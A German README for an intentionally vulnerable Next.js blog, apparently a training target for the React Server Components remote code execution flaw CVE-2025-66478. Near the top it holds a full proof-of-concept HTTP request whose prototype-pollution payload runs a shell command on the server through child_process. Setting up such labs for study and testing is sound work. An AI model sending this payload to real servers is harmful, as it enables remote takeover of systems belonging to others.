Moderner Blog mit shadcn/ui

Ein moderner und eleganter Blog, erstellt mit Next.js 16, React 19, shadcn/ui und Tailwind CSS.

WICHTIG:

Next JS VULNERABLES Projekt, nur für Bildungszwecke, Tests und Exploitation erstellt. INSTALLATION IN PRODUKTION NICHT EMPFOHLEN, NUR FÜR LOKALE ODER KONTROLLIERTE UMGEBUNGEN

PoC

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Referenz: github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478

Funktionen

🎨 Modernes Design: Elegante Oberfläche erstellt mit shadcn/ui
📝 Vollständiger Blog: Mehrere Blog-Artikel mit Mock-Inhalten
💬 Reaktionssystem: Reagiere auf Beiträge mit verschiedenen Emotionen (like, love, laugh, wow, sad, angry)
👤 Authentifizierung: Registrierungs- und Anmeldesystem mittels localStorage
🎯 Responsives Design: Vollständig responsives Design
🌙 Dunkelmodus: Unterstützung für automatischen Dunkelmodus

Technologien

Next.js 16 - React-Framework
React 19 - UI-Bibliothek
shadcn/ui - Moderne UI-Komponenten
Tailwind CSS 4 - Utility-First-Styles
TypeScript - Statische Typisierung
Lucide React - Symbole
Radix UI - Zugängliche Komponenten

Installation

Abhängigkeiten installieren:

npm install
# o
yarn install
# o
pnpm install

Entwicklungsserver starten:

npm run dev
# o
yarn dev
# o
pnpm dev

Öffne http://localhost:3000 in deinem Browser.

Projektstruktur

├── app/                    # Next.js-Seiten
│   ├── blog/[id]/         # Blog-Detailseite
│   ├── profile/            # Profilseite
│   ├── layout.tsx          # Haupt-Layout
│   └── page.tsx            # Startseite
├── components/             # React-Komponenten
│   ├── auth/              # Authentifizierungskomponenten
│   ├── blog/              # Blog-Komponenten
│   ├── layout/             # Layout-Komponenten
│   └── ui/                 # shadcn/ui-Komponenten
├── lib/                    # Dienstprogramme und Dienste
│   ├── auth.ts            # Authentifizierungsdienst
│   ├── mocks.ts           # Mock-Daten
│   └── utils.ts           # Allgemeine Dienstprogramme
└── public/                 # Statische Dateien

Funktionen

Authentifizierung

Registrierung neuer Benutzer
Anmeldung
Speicherung in localStorage
Benutzerprofil

Blog

Liste der Artikel auf der Startseite
Detailseite für jeden Artikel
Autoreninformationen
Kategorien und Tags
Titelbilder

Reaktionen

Alle Reaktionen eines Beitrags anzeigen
Mit verschiedenen Emotionen reagieren
Reaktionszähler nach Typ
Liste der Benutzer, die reagiert haben

Mock-Daten

Alle Daten (Blogs, Benutzer, Reaktionen) sind vollständig mock und werden dynamisch generiert. Es wird keine Datenbank benötigt.

Hinweise

Die Benutzeranmeldedaten werden in localStorage gespeichert
Die Daten werden bei jedem Neuladen der Seite neu generiert
Das Reaktionssystem ist nur visuell (neue Reaktionen werden nicht gespeichert)

Lizenz

Dieses Projekt dient nur Bildungszwecken.

cve-2025-66478_rce_vulnerable

Beliebteste